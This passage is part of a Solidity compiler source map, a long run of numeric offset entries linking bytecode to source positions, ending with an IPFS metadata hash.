:2:1;1877:18;;;;1864:32;;1446:456::o;2096:247::-;2155:6;2208:2;2196:9;2187:7;2183:23;2179:32;2176:52;;;2224:1;2221;2214:12;2176:52;2263:9;2250:23;2282:31;2307:5;2282:31;:::i;2556:388::-;2624:6;2632;2685:2;2673:9;2664:7;2660:23;2656:32;2653:52;;;2701:1;2698;2691:12;2653:52;2740:9;2727:23;2759:31;2784:5;2759:31;:::i;:::-;2809:5;-1:-1:-1;2866:2:1;2851:18;;2838:32;2879:33;2838:32;2879:33;:::i;:::-;2931:7;2921:17;;;2556:388;;;;;:::o;2949:127::-;3010:10;3005:3;3001:20;2998:1;2991:31;3041:4;3038:1;3031:15;3065:4;3062:1;3055:15;3081:422;3170:1;3213:5;3170:1;3227:270;3248:7;3238:8;3235:21;3227:270;;;3307:4;3303:1;3299:6;3295:17;3289:4;3286:27;3283:53;;;3316:18;;:::i;:::-;3366:7;3356:8;3352:22;3349:55;;;3386:16;;;;3349:55;3465:22;;;;3425:15;;;;3227:270;;;3231:3;3081:422;;;;;:::o;3508:806::-;3557:5;3587:8;3577:80;;-1:-1:-1;3628:1:1;3642:5;;3577:80;3676:4;3666:76;;-1:-1:-1;3713:1:1;3727:5;;3666:76;3758:4;3776:1;3771:59;;;;3844:1;3839:130;;;;3751:218;;3771:59;3801:1;3792:10;;3815:5;;;3839:130;3876:3;3866:8;3863:17;3860:43;;;3883:18;;:::i;:::-;-1:-1:-1;;3939:1:1;3925:16;;3954:5;;3751:218;;4053:2;4043:8;4040:16;4034:3;4028:4;4025:13;4021:36;4015:2;4005:8;4002:16;3997:2;3991:4;3988:12;3984:35;3981:77;3978:159;;;-1:-1:-1;4090:19:1;;;4122:5;;3978:159;4169:34;4194:8;4188:4;4169:34;:::i;:::-;4239:6;4235:1;4231:6;4227:19;4218:7;4215:32;4212:58;;;4250:18;;:::i;:::-;4288:20;;3508:806;-1:-1:-1;;;3508:806:1:o;4319:140::-;4377:5;4406:47;4447:4;4437:8;4433:19;4427:4;4406:47;:::i;4464:168::-;4504:7;4570:1;4566;4562:6;4558:14;4555:1;4552:21;4547:1;4540:9;4533:17;4529:45;4526:71;;;4577:18;;:::i;:::-;-1:-1:-1;4617:9:1;;4464:168::o;4637:356::-;4839:2;4821:21;;;4858:18;;;4851:30;4917:34;4912:2;4897:18;;4890:62;4984:2;4969:18;;4637:356::o;5698:251::-;5768:6;5821:2;5809:9;5800:7;5796:23;5792:32;5789:52;;;5837:1;5834;5827:12;5789:52;5869:9;5863:16;5888:31;5913:5;5888:31;:::i;6875:306::-;6963:6;6971;6979;7032:2;7020:9;7011:7;7007:23;7003:32;7000:52;;;7048:1;7045;7038:12;7000:52;7077:9;7071:16;7061:26;;7127:2;7116:9;7112:18;7106:25;7096:35;;7171:2;7160:9;7156:18;7150:25;7140:35;;6875:306;;;;;:::o;7465:277::-;7532:6;7585:2;7573:9;7564:7;7560:23;7556:32;7553:52;;;7601:1;7598;7591:12;7553:52;7633:9;7627:16;7686:5;7679:13;7672:21;7665:5;7662:32;7652:60;;7708:1;7705;7698:12;10478:128;10518:3;10549:1;10545:6;10542:1;10539:13;10536:39;;;10555:18;;:::i;:::-;-1:-1:-1;10591:9:1;;10478:128::o;10966:135::-;11005:3;-1:-1:-1;;11026:17:1;;11023:43;;;11046:18;;:::i;:::-;-1:-1:-1;11093:1:1;11082:13;;10966:135::o;11106:125::-;11146:4;11174:1;11171;11168:8;11165:34;;;11179:18;;:::i;:::-;-1:-1:-1;11216:9:1;;11106:125::o;11592:217::-;11632:1;11658;11648:132;;11702:10;11697:3;11693:20;11690:1;11683:31;11737:4;11734:1;11727:15;11765:4;11762:1;11755:15;11648:132;-1:-1:-1;11794:9:1;;11592:217::o;12348:127::-;12409:10;12404:3;12400:20;12397:1;12390:31;12440:4;12437:1;12430:15;12464:4;12461:1;12454:15;12480:980;12742:4;12790:3;12779:9;12775:19;12821:6;12810:9;12803:25;12847:2;12885:6;12880:2;12869:9;12865:18;12858:34;12928:3;12923:2;12912:9;12908:18;12901:31;12952:6;12987;12981:13;13018:6;13010;13003:22;13056:3;13045:9;13041:19;13034:26;;13095:2;13087:6;13083:15;13069:29;;13116:1;13126:195;13140:6;13137:1;13134:13;13126:195;;;13205:13;;-1:-1:-1;;;;;13201:39:1;13189:52;;13296:15;;;;13261:12;;;;13237:1;13155:9;13126:195;;;-1:-1:-1;;;;;;;13377:32:1;;;;13372:2;13357:18;;13350:60;-1:-1:-1;;;13441:3:1;13426:19;13419:35;13338:3;12480:980;-1:-1:-1;;;12480:980:1:o

ipfs://5f7f666edad9b10928d4ef6b95570ed82760afa965fc0fb56c55887f007ca6dd